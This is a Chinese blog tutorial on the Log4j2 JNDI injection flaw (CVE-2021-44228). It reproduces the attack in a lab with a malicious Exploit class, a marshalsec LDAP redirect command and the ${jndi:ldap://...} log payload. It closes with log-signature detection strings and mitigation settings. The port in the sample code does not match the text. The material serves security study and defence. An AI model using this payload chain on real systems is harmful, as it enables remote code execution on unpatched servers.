Log4j2 反序列化漏洞与复现

这篇具有很好参考价值的文章主要介绍了Log4j2 反序列化漏洞与复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Log4jLog for Java,Apache的开源日志记录组件

JDK→1.8u21以下的版本

CVE-2021-44228 远程代码执行 →2.15.0修复
CVE-2021-45046 拒绝服务Dos →2.16.0修复
CVE-2021-45105 拒绝服务Dos →2.17.0修复
CVE-2021-44832 远程代码执行 →2.17.1修复

1 漏洞介绍

1.1 Log4j介绍

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

1.2 Log4j漏洞原理

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

1.3 相关解释

LDAP协议

LDAP(Ligntweight Directory Access Protocol),轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。简单来说,就是搜索功能,它是分布式的,允许从远程服务器上面加载获取对象。默认服务端口389.。

JNDI接口

Java Naming and Directory Interface,JAVA命名和目录接口(命名服务接口),应用通过该接口与具体的目录服务进行交互,允许通过名称发现和查找数据或对象,可用于动态加载配置等。

  1. 发布服务(名字和资源的映射)
  2. 用名字查找资源

JNDI注入流程:攻击者生成一个恶意的类文件,上传到一个为攻击者服务的HTTP服务器,向目标服务器(靶机,运行了LDAP服务,并指定了恶意类文件所在的地址)给HTTP请求中向Java应用程序传入恶意参数(比如${jndi:ldap://xxx.com:1234/xxx}),指向的是LDAP服务器不存在的资源,当JNDI接口使用lookup查找时,发现在参数指定的LDAP服务器中找不到,于是根据LDAP服务器预设的地址自动从存有恶意类文件的HTTP服务器动态加载对象。

RMI协议

JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。

2 复现流程

2.1 环境搭建

靶机:127.0.0.1

LDAP服务器:192.168.101.133

HTTP服务器:192.168.101.128

Java

JDK1.8u121以下的版本,Maven(需要安装和配置),log4j项目包

服务器

HTTP服务器(存放恶意类Exploit.class),使用phpstudy建立一个网站,端口为2222

LDAP服务器,下载marshalsec-0.0.3-SNAPSHOT-all.jar

Exploit.class

/*
 * Exploit.java
 * 将其编译后生成Exploit.class
 * 上传到HTTP服务器
 */
import java.io.IOException;

public class Exploit {
    static {
        try {
            // 打开windows电脑的计算器 proof of content
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

2.2 测试

LDAP服务器中,执行如下代码

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.128:2222/#Exploit 1234

其中Exploit是恶意类的类名,1234是监听的端口号,该工具可以启动JNDI或RMI接口。

当命令行显示Listening on 0.0.0.0:1234时表示服务开启成功。

Log4J.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {
  logger.error("${jndi:ldap://192.168.101.133:2222/test}");
    }
}

其中主要是靠如下语句:

${jndi:ldap://192.168.101.133:1234/test}

执行成功后,可以弹出计算器,LDAP服务器的命令行窗口会显示Send LDAP reference result for test redirecting to http://192.168.101.128:2222/Exploit.class
!!!
凡是Java应用程序,在获取用户输入时使用了Log4j组件且未作有效验证或限制的,都可能有该漏洞,在输入位置传入如上语句即可。

2.3 过程分析

Log4J Lookups介绍:https://logging.apache.org/log4j/2.x/manual/lookups

被攻击服务器收到恶意参数(语句)后,通过Log4J将其作为日志打印。

由于日志在打印时当遇到${后,Interpolator类以:号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过prefix去找对应的 lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。

而在LDAP服务器上找不到,于是跳转到指定地址下载恶意类到本地,再调用Java的NamingManager.getObjectFactoryFromReference()方法,通过默认构造函数将其实例化,进而导致攻击代码中的静态代码块中的内容被执行,引发命令执行漏洞。文章来源地址https://www.toymoban.com/news/detail-450705.html

3 漏洞防御

3.1 排查方法

  1. pom版本检查
  2. 可以通过检查日志中是否存在“jndi:ldap://”、“jndi:rmi”、“dnslog.cn”等字符来发现可能的攻击行为。
  3. 检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调用相关的堆栈信息。

3.2 排查工具

  • https://static.threatbook.cn/tools/log4j-localcheck.sh
  • https://sca.seczone.cn/allScanner.zip

3.3 修复

  1. 将Log4j、jdk升级到最新版本
  2. 禁止用户请求参数出现攻击关键字
  3. 禁止lookup下载远程文件(命名引用)
  4. 禁止Log4j的应用连接外网
  5. 禁止Log4j使用lookup
  6. 从Log4j jar包中中删除lookup 2.10以下
  7. 设置参数:
    log4j2.formatMsgNoLookups=True
  8. 修改JVM参数:
    -Dlog4j2.formatMsgNoLookups=true
  9. 系统环境变量:
    FORMAT_MESSAGES_PATTERN_DISABLE_LOOUPS设置为true

到了这里,关于Log4j2 反序列化漏洞与复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)

    目录 一、漏洞介绍 二、漏洞环境搭建 三、漏洞利用 四、漏洞流量特征: CVE-2017-5645 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。 进入漏洞目录文件,启动漏洞环境:docker-c

    2024年02月16日
    浏览(37)
  • Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

    Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。 l

    2024年02月07日
    浏览(31)
  • 复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

    复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞 目录 前言 漏洞原理 影响范围 环境搭建漏洞复现 使用工具JNDIExploit-1.2-SNAPSHOT.jar 近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架, 被广泛地应用在

    2024年02月05日
    浏览(29)
  • [CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

    刚搭好vulhub,迫不及待的来复现一下2021-2022最潮最in的漏洞log4j2,因为算是热点了面试什么的的感觉都蛮容易被问到的,这里就来整理一下这个漏洞相关信息和漏洞复现的流程。 影响版本:log4j 2.x = 2.14.1 漏洞简介 首先肯定得简单了解一下log4j2到底是什么东西,log4j2是Apache的

    2024年02月08日
    浏览(30)
  • log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    啥是log4j2? log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。 啥是JNDI? 由

    2024年02月06日
    浏览(75)
  • log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)

    前言: Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。 2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ld

    2024年02月12日
    浏览(31)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (编译好的文件) 攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    浏览(41)
  • 【java安全】Log4j反序列化漏洞

    关于Apache Log4j Log4j是Apache的开源项目,可以实现对System.out等打印语句的替代,并且可以结合spring等项目,实现把日志输出到控制台或文件等。而且它还可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码,满足了大多数要求。 就是用来打印日志的 漏洞成因

    2024年02月11日
    浏览(35)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 简单从安全角度

    2024年02月09日
    浏览(31)
  • log4j2漏洞分析

    和前面的JNDI注入时用的代码差不多 如果要引入log4j2的jar包可以这么配置Maven的pom.xml 还要创建个配置文件 log4j2这个漏洞当时爆出来的时候堪称是核弹级别的,危害非常大,利用还非常简单,既然如此,那我们肯定要分析一下漏洞相关的原理来学习一下 这个漏洞是个JNDI注入漏

    2024年02月09日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包